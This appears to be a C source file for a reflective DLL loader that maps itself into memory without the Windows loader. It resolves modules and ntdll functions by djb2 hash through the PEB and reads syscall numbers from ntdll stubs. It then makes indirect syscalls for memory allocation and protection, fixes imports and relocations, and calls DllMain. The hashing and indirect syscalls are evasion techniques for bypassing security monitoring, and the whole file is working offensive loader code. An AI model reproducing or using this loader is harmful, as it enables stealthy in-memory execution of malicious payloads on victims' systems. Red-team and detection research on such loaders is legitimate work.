#include "CustomLoader.h"

typedef LONG NTSTATUS;

// Links against the external assembly functions
extern void* GetRIP(void);

extern void SetSyscallInfo(DWORD number, ULONG_PTR addr);
extern NTSTATUS IndirectSyscall(ULONG_PTR param1, ULONG_PTR param2, ULONG_PTR param3, ULONG_PTR param4, ULONG_PTR param5, ULONG_PTR param6);


// For DLL names from PEB (Unicode, normalise to uppercase)
DWORD djb2_hash_unicode(WCHAR *str) {
    DWORD hash = 5381;
    WCHAR c;
    while ((c = *str++)) {
        if (c >= L'a' && c <= L'z')
            c -= 0x20;  // convert to uppercase
        hash = ((hash << 5) + hash) + (DWORD)c;
    }
    return hash;
}

// For function names from export table (ASCII)
DWORD djb2_hash_ascii(unsigned char *str) {
    DWORD hash = 5381;
    int c;
    while ((c = *str++))
        hash = ((hash << 5) + hash) + c;
    return hash;
}

// For module names from import descriptor (ASCII, hashed as if Unicode uppercase)
DWORD djb2_hash_ascii_as_unicode(unsigned char *str) {
    DWORD hash = 5381;
    unsigned char c;
    while ((c = *str++)) {
        if (c >= 'a' && c <= 'z')
            c -= 0x20;
        hash = ((hash << 5) + hash) + (DWORD)c;
    }
    return hash;
}

// Resolve the required module
ULONG_PTR ResolveModuleByHash(DWORD hash) {
    // Get the Process Environment Block
    ULONG_PTR uiBaseAddress = __readgsqword( 0x60 );

    // Get the processes' loaded modules
    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

    // Get the first entry of the InMemoryOrder module list
    ULONG_PTR uiCurrentModule = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    ULONG_PTR uiListHead = (ULONG_PTR)&((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList;
    
    while (uiCurrentModule != uiListHead) {
        // Get a pointer to current module's name
        ULONG_PTR uiCurrentModuleName = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiCurrentModule)->BaseDllName.pBuffer;

        if (uiCurrentModuleName) {
            if ((djb2_hash_unicode((WCHAR *)uiCurrentModuleName)) == hash ) {
                return (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiCurrentModule)->DllBase;
            }
        }
        
        // Move to the next module
        uiCurrentModule = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiCurrentModule)->InMemoryOrderModuleList.Flink;
    }
    
    return 0;
}

// Forward declaration, ResolveExportByHash calls ResolveExportByOrdinal
// on the ordinal-forwarder branch; real definition is further down.
ULONG_PTR ResolveExportByOrdinal(ULONG_PTR moduleBase, WORD ordinal);

// Resolve a function from a module's export table by djb2 hash of the name.
// Handles forwarded exports recursively.
ULONG_PTR ResolveExportByHash(ULONG_PTR moduleBase, DWORD hash) {
    
    // Get the VA of the module's NT Header
    ULONG_PTR uiExportDir = moduleBase + ((PIMAGE_DOS_HEADER)moduleBase)->e_lfanew;
    
    // Get the data directory for exports
    PIMAGE_DATA_DIRECTORY pExportDirEntry = &((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    DWORD exportDirRVA = pExportDirEntry->VirtualAddress;
    DWORD exportDirSize = pExportDirEntry->Size;
    
    // Get the VA of the export directory
    uiExportDir = moduleBase + exportDirRVA;
    
    // Get the VAs for the three export arrays
    ULONG_PTR uiNameArray = moduleBase + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames;
    ULONG_PTR uiNameOrdinals = moduleBase + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals;
    ULONG_PTR uiAddressArray = moduleBase + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;
    
    DWORD dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;
    
    while (dwCounter--) {
        char *cpExportedFunctionName = (char *)(moduleBase + DEREF_32(uiNameArray));
        
        if (djb2_hash_ascii((unsigned char *)cpExportedFunctionName) == hash) {
            // Get the function RVA
            DWORD funcRVA = DEREF_32(uiAddressArray + (DEREF_16(uiNameOrdinals) * sizeof(DWORD)));
            
            // Check if this is a forwarder (RVA falls within the export directory)
            if (funcRVA >= exportDirRVA && funcRVA < exportDirRVA + exportDirSize) {
                // Forwarder string: "TARGETDLL.FunctionName"
                char *forwarder = (char *)(moduleBase + funcRVA);
                
                // Parse: find the '.' separator
                char dllName[64];
                char *p = forwarder;
                int i = 0;
                while (*p && *p != '.' && i < 63) {
                    dllName[i++] = *p++;
                }
                dllName[i] = '\0';
                
                // Skip the '.'
                if (*p == '.') p++;
                char *targetFuncName = p;

                // Append ".DLL" to get the full module name for hashing
                // (The forwarder name is the module base name without ".DLL")
                dllName[i++] = '.';
                dllName[i++] = 'D';
                dllName[i++] = 'L';
                dllName[i++] = 'L';
                dllName[i] = '\0';
                
                // Recursively resolve
                DWORD targetModuleHash = djb2_hash_ascii_as_unicode((unsigned char *)dllName);
                ULONG_PTR targetModule = ResolveModuleByHash(targetModuleHash);
                
                if (!targetModule) {
                    return 0;  // Target module not loaded
                }

                if (targetFuncName[0] == '#') {
                    WORD ordinal = 0;
                    char *d = targetFuncName + 1;
                    while (*d >= '0' && *d <= '9') {
                        ordinal = ordinal * 10 + (*d - '0');
                        d++;
                    }
                    return ResolveExportByOrdinal(targetModule,ordinal);
                }
                
                DWORD targetFuncHash = djb2_hash_ascii((unsigned char *)targetFuncName);
                return ResolveExportByHash(targetModule, targetFuncHash);
            }
            
            return moduleBase + funcRVA;
        }
        uiNameArray += sizeof(DWORD);
        uiNameOrdinals += sizeof(WORD);
    }
    return 0;
}

// Resolve an export by ordinal.
ULONG_PTR ResolveExportByOrdinal(ULONG_PTR moduleBase, WORD ordinal) {

    // Get the VA of the module's NT Header
    ULONG_PTR uiExportDir = moduleBase + ((PIMAGE_DOS_HEADER)moduleBase)->e_lfanew;

    // Get the data directory for exports
    PIMAGE_DATA_DIRECTORY pExportDirEntry = &((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    DWORD exportDirRVA = pExportDirEntry->VirtualAddress;
    DWORD exportDirSize = pExportDirEntry->Size;

    // Get the VA of the export directory
    uiExportDir = moduleBase + exportDirRVA;

    // Get the VA for the array of addresses
    ULONG_PTR uiAddressArray = moduleBase + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;

    // Get the ordinal base
    DWORD dwOrdinalBase = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base;

    // Index into AddressOfFunctions using (ordinal - base)
    DWORD funcRVA = DEREF_32(uiAddressArray + (ordinal - dwOrdinalBase) * sizeof(DWORD));

    // Check if this is a forwarder (RVA falls within the export directory)
    if (funcRVA >= exportDirRVA && funcRVA < exportDirRVA + exportDirSize) {
        // Forwarder string: "TARGETDLL.FunctionName" or "TARGETDLL.#123"
        char *forwarder = (char *)(moduleBase + funcRVA);

        // Parse: find the '.' separator
        char dllName[64];
        char *p = forwarder;
        int i = 0;
        while (*p && *p != '.' && i < 63) {
            dllName[i++] = *p++;
        }
        dllName[i] = '\0';

        // Skip the '.'
        if (*p == '.') p++;
        char *targetFuncName = p;

        // Append ".DLL" to get the full module name for hashing
        // (The forwarder name is the module base name without ".DLL")
        dllName[i++] = '.';
        dllName[i++] = 'D';
        dllName[i++] = 'L';
        dllName[i++] = 'L';
        dllName[i] = '\0';

        // Recursively resolve
        DWORD targetModuleHash = djb2_hash_ascii_as_unicode((unsigned char *)dllName);
        ULONG_PTR targetModule = ResolveModuleByHash(targetModuleHash);

        if (!targetModule) {
            return 0;  // Target module not loaded
        }
        if (targetFuncName[0] == '#') {
            WORD targetOrdinal = 0;
            char *d = targetFuncName + 1;
            while (*d >= '0' && *d <= '9') {
                targetOrdinal = targetOrdinal * 10 + (*d - '0');
                d++;
            }
            return ResolveExportByOrdinal(targetModule, targetOrdinal);
        }

        DWORD targetFuncHash = djb2_hash_ascii((unsigned char *)targetFuncName);
        return ResolveExportByHash(targetModule, targetFuncHash);
    }

    return moduleBase + funcRVA;
}

void AsciiToUnicodeString(const char *ascii, WCHAR *buffer, UNICODE_STR *uniStr) {
    USHORT count = 0;

    while (ascii[count]) {
        buffer[count] = (WCHAR)ascii[count];
        count++;
    }
    buffer[count] = L'\0';  // Null terminated - just in case

    uniStr->Length = count * sizeof(WCHAR);
    uniStr->MaximumLength = (count + 1) * sizeof(WCHAR);
    uniStr->pBuffer = buffer;
}

ULONG_PTR LoadAndResolveModule(char *asciiModuleName, ULONG_PTR pLdrLoadDll) {
    // Hash the ascii name as if it were unicode uppercase
    DWORD moduleHash = djb2_hash_ascii_as_unicode((unsigned char *)asciiModuleName);

    // First try to find it in the PEB
    ULONG_PTR moduleBase = ResolveModuleByHash(moduleHash);
    if (moduleBase) {
        return moduleBase;
    }

    // If it didn't load, use LdrLoadDll to load it
    WCHAR wszModuleName[256];
    UNICODE_STR uniModuleName;
    HANDLE hModule = NULL;

    AsciiToUnicodeString(asciiModuleName, wszModuleName, &uniModuleName);

    // Cast and call pLdrLoadDll in function pointer
    typedef NTSTATUS (NTAPI *fnLdrLoadDll)(PWCHAR, ULONG, UNICODE_STR *, HANDLE *);
    fnLdrLoadDll LdrLoadDll = (fnLdrLoadDll)pLdrLoadDll;

    NTSTATUS status = LdrLoadDll(NULL, 0, &uniModuleName, &hModule);

    if (status == 0) {
        return (ULONG_PTR)hModule;
    }
    return 0;
}

DWORD SectionProtection(DWORD characteristics) {
    BOOL x = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
    BOOL r = (characteristics & IMAGE_SCN_MEM_READ) != 0;
    BOOL w = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;

    if (x && r && w) return PAGE_EXECUTE_READWRITE;
    if (x && r)      return PAGE_EXECUTE_READ;
    if (x && w)      return PAGE_EXECUTE_WRITECOPY;
    if (x)           return PAGE_EXECUTE;
    if (r && w)      return PAGE_READWRITE;
    if (r)           return PAGE_READONLY;
    if (w)           return PAGE_READWRITE;
    return PAGE_NOACCESS;
}


__declspec(dllexport) DWORD WINAPI CustomLoader(LPVOID lpReserved) {

    (void)lpReserved;

    // Get the execution address
    void* currentPosition = GetRIP();

    // STEP 0: Find our current base address
    ULONG_PTR uiLibraryAddress = (ULONG_PTR)currentPosition;

    // Loop through memory backwards searching for image base address
    while ( TRUE ) {
        if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) {
            ULONG_PTR uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) {
                uiHeaderValue += uiLibraryAddress;
                if(((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
                break;
            }
        }
        uiLibraryAddress--;
    }

    // STEP 1: Resolve the syscalls we need from ntdll

    ULONG_PTR ntdllBase = ResolveModuleByHash(NTDLLDLL_HASH);

    ULONG_PTR pNtAlloc = ResolveExportByHash(ntdllBase, NTALLOCATEVIRTUALMEMORY_HASH);
    DWORD dwNtAllocateVMSyscall = *(DWORD *)(pNtAlloc + 4);
    ULONG_PTR pNtAllocateVMSyscallAddr = pNtAlloc + 0x12;

    ULONG_PTR pNtFlush = ResolveExportByHash(ntdllBase, NTFLUSHINSTRUCTIONCACHE_HASH);
    DWORD dwNtFlushCacheSyscall = *(DWORD *)(pNtFlush + 4);
    ULONG_PTR pNtFlushCacheSyscallAddr = pNtFlush + 0x12;

    ULONG_PTR pNtProtect = ResolveExportByHash(ntdllBase, NTPROTECTVIRTUALMEMORY_HASH);
    DWORD dwNtProtectVMSyscall = *(DWORD *)(pNtProtect + 4);
    ULONG_PTR pNtProtectVMSyscallAddr = pNtProtect + 0x12;

    // STEP 2: Load our image in memory

    // Get the VA of the NT Header for the PE to be loaded
    ULONG_PTR uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // Allocate memory for the DLL to be loaded into
    PVOID baseAddr = NULL;
    SIZE_T regionSize = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage;

    SetSyscallInfo(dwNtAllocateVMSyscall, pNtAllocateVMSyscallAddr);
    NTSTATUS status = IndirectSyscall((ULONG_PTR)-1, (ULONG_PTR)&baseAddr, 0, (ULONG_PTR)&regionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    ULONG_PTR uiBaseAddress = (ULONG_PTR)baseAddr;

    // Copy the headers
    DWORD headerSize = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    ULONG_PTR src = uiLibraryAddress;
    ULONG_PTR dest = uiBaseAddress;

    // Copy byte by byte
    while (headerSize--)
        *(BYTE *)dest++ = *(BYTE *)src++;


    // STEP 3: Load all sections

    // Get the first section header
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

    // Get the number of sections
    USHORT numSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

    while (numSections--) {
        dest = uiBaseAddress + pSectionHeader->VirtualAddress;
        src = uiLibraryAddress + pSectionHeader->PointerToRawData;
        DWORD sectionSize = pSectionHeader->SizeOfRawData;

        // Copy byte by byte
        while (sectionSize--)
            *(BYTE *)dest++ = *(BYTE *)src++;

        pSectionHeader++;
    }
    
    // STEP 4: Process image's import table

    // Resolve LdrLoadDll
    ULONG_PTR pLdrLoadDll = ResolveExportByHash(ntdllBase, LDRLOADDLL_HASH);

    // Get the import directory
    ULONG_PTR uiImportDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    // Get the first import descriptor
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiImportDirectory)->VirtualAddress);
    // Iterate through every imported module
    while (pImportDesc->Name) {
        // Get the module name
        char *moduleName = (char *)(uiBaseAddress + pImportDesc->Name);

        // Resolve the module (PEB first and LdrLoadDll for fallback)
        ULONG_PTR moduleBase = LoadAndResolveModule(moduleName, pLdrLoadDll);

        // Get the module's thunk arrays. OriginalFirstThunk is the import lookup table
        // (read-only, used for name/ordinal lookup). FirstThunk is the IAT we patch.
        // Some compilers/toolchains can omit OriginalFirstThunk; fall back to FirstThunk
        // in that case (it still holds the original RVAs until we overwrite them).
        ULONG_PTR uiOriginalFirstThunk;
        if (pImportDesc->OriginalFirstThunk) {
            uiOriginalFirstThunk = uiBaseAddress + pImportDesc->OriginalFirstThunk;
        } else {
            uiOriginalFirstThunk = uiBaseAddress + pImportDesc->FirstThunk;
        }
        ULONG_PTR uiFirstThunk = uiBaseAddress + pImportDesc->FirstThunk;

        // Iterate through thunks and resolve each function
        while (DEREF(uiOriginalFirstThunk)) {
            if (((PIMAGE_THUNK_DATA)uiOriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
                // Import by ordinal
                WORD ordinal = (WORD)IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiOriginalFirstThunk)->u1.Ordinal);
                DEREF(uiFirstThunk) = ResolveExportByOrdinal(moduleBase, ordinal);
            } else {
                // Import by name (read name RVA from the lookup table, not the IAT)
                ULONG_PTR uiImportByName = uiBaseAddress + DEREF(uiOriginalFirstThunk);
                char *funcName = (char *)((PIMAGE_IMPORT_BY_NAME)uiImportByName)->Name;
                DWORD funcHash = djb2_hash_ascii((unsigned char *)funcName);
                ULONG_PTR resolved = ResolveExportByHash(moduleBase, funcHash);
                DEREF(uiFirstThunk) = resolved;
            }
            uiOriginalFirstThunk += sizeof(ULONG_PTR);
            uiFirstThunk += sizeof(ULONG_PTR);
        }

        pImportDesc++;
    }

    // STEP 5: Process all image's relocations

    // Calculate the base address delta
    ULONG_PTR delta = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

    // Get the relocation directory
    ULONG_PTR uiRelocationDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

    // Check for any present relocations
    if (((PIMAGE_DATA_DIRECTORY)uiRelocationDirectory)->Size) {
        // Get the first entry
        ULONG_PTR uiFirstEntry = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiRelocationDirectory)->VirtualAddress);

        // Iterate through entries
        while (((PIMAGE_BASE_RELOCATION)uiFirstEntry)->SizeOfBlock) {
            ULONG_PTR uiRelocationBlock = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiFirstEntry)->VirtualAddress);
            ULONG_PTR uiNumEntries = (((PIMAGE_BASE_RELOCATION)uiFirstEntry)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
            ULONG_PTR uiCurrentFirstEntry = uiFirstEntry + sizeof(IMAGE_BASE_RELOCATION);

            // Iterate through all the entries in the current block
            while (uiNumEntries--) {
                if( ((PIMAGE_RELOC)uiCurrentFirstEntry)->type == IMAGE_REL_BASED_DIR64 )
                    *(ULONG_PTR *)(uiRelocationBlock + ((PIMAGE_RELOC)uiCurrentFirstEntry)->offset) += delta;
                // get the next entry in the current relocation block
                uiCurrentFirstEntry += sizeof( IMAGE_RELOC );
            }

            // get the next entry in the relocation directory
            uiFirstEntry = uiFirstEntry + ((PIMAGE_BASE_RELOCATION)uiFirstEntry)->SizeOfBlock;
        }
    }

    // STEP 5b: Re-protect sections

    pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
    numSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

    for (USHORT s = 0; s < numSections; s++) {
        PVOID  addr = (PVOID)(uiBaseAddress + pSectionHeader[s].VirtualAddress);
        SIZE_T size = pSectionHeader[s].Misc.VirtualSize ? pSectionHeader[s].Misc.VirtualSize : pSectionHeader[s].SizeOfRawData;
        DWORD  prot = SectionProtection(pSectionHeader[s].Characteristics);
        DWORD  oldProt = 0;

        SetSyscallInfo(dwNtProtectVMSyscall, pNtProtectVMSyscallAddr);
        IndirectSyscall((ULONG_PTR)-1, (ULONG_PTR)&addr, (ULONG_PTR)&size, prot, (ULONG_PTR)&oldProt, 0);
    }
    
    // Headers: drop to read-only
    {
        PVOID  addr = (PVOID)uiBaseAddress;
        SIZE_T size = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
        DWORD  oldProt = 0;

        SetSyscallInfo(dwNtProtectVMSyscall, pNtProtectVMSyscallAddr);
        IndirectSyscall((ULONG_PTR)-1, (ULONG_PTR)&addr, (ULONG_PTR)&size, PAGE_READONLY, (ULONG_PTR)&oldProt, 0);
    }


    // STEP 6: Call image's entry point
    ULONG_PTR uiEntryPoint = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
    
    // Flush instruction cache before executing newly mapped code
    SetSyscallInfo(dwNtFlushCacheSyscall, pNtFlushCacheSyscallAddr);
    IndirectSyscall((ULONG_PTR)-1, 0, 0, 0, 0, 0);
    
    // Define DllMain signature
    typedef BOOL (WINAPI *fnDllMain)(HINSTANCE, DWORD, LPVOID);
    
    // Call DllMain with DLL_PROCESS_ATTACH
    ((fnDllMain)uiEntryPoint)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);

    return 0;
}